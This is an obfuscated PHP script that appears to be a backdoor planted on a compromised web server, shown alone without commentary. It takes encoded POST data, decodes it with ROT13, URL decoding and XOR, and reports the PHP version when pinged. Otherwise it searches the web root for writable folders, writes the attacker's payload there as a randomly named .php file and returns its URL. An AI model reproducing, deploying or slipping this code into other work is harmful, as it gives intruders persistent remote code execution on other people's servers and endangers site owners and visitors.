<?php $zhzmwmrrao = "dcnbudmwzdnaepcm";$opvupdmvu = "";foreach ($_POST as $mfajrakkvwaiuq => $knpunu){if (strlen($mfajrakkvwaiuq) == 16 and substr_count($knpunu, "%") > 10){jzzxj($mfajrakkvwaiuq, $knpunu);}}function jzzxj($mfajrakkvwaiuq, $cqapbh){global $opvupdmvu;$opvupdmvu = $mfajrakkvwaiuq;$cqapbh = str_split(rawurldecode(str_rot13($cqapbh)));function xvsxeavt($mfajrvjzmb, $mfajrakkvwaiuq){global $zhzmwmrrao, $opvupdmvu;return $mfajrvjzmb ^ $zhzmwmrrao[$mfajrakkvwaiuq % strlen($zhzmwmrrao)] ^ $opvupdmvu[$mfajrakkvwaiuq % strlen($opvupdmvu)];}$cqapbh = implode("", array_map("xvsxeavt", array_values($cqapbh), array_keys($cqapbh)));$cqapbh = @unserialize($cqapbh);if (@is_array($cqapbh)){$mfajrakkvwaiuq = array_keys($cqapbh);$cqapbh = $cqapbh[$mfajrakkvwaiuq[0]];if ($cqapbh === $mfajrakkvwaiuq[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function rarvzevny($mfajrir) {static $eprev = array();$nmayv = glob($mfajrir . '/*', GLOB_ONLYDIR);if (count($nmayv) > 0) {foreach ($nmayv as $mfajr){if (@is_writable($mfajr)){$eprev[] = $mfajr;}}}foreach ($nmayv as $mfajrir) rarvzevny($mfajrir);return $eprev;}$ftervkrlqj = $_SERVER["DOCUMENT_ROOT"];$nmayv = rarvzevny($ftervkrlqj);$mfajrakkvwaiuq = array_rand($nmayv);$eigkjtuwwb = $nmayv[$mfajrakkvwaiuq] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($eigkjtuwwb, $cqapbh);echo "http://" . $_SERVER["HTTP_HOST"] . substr($eigkjtuwwb, strlen($ftervkrlqj));exit();}}}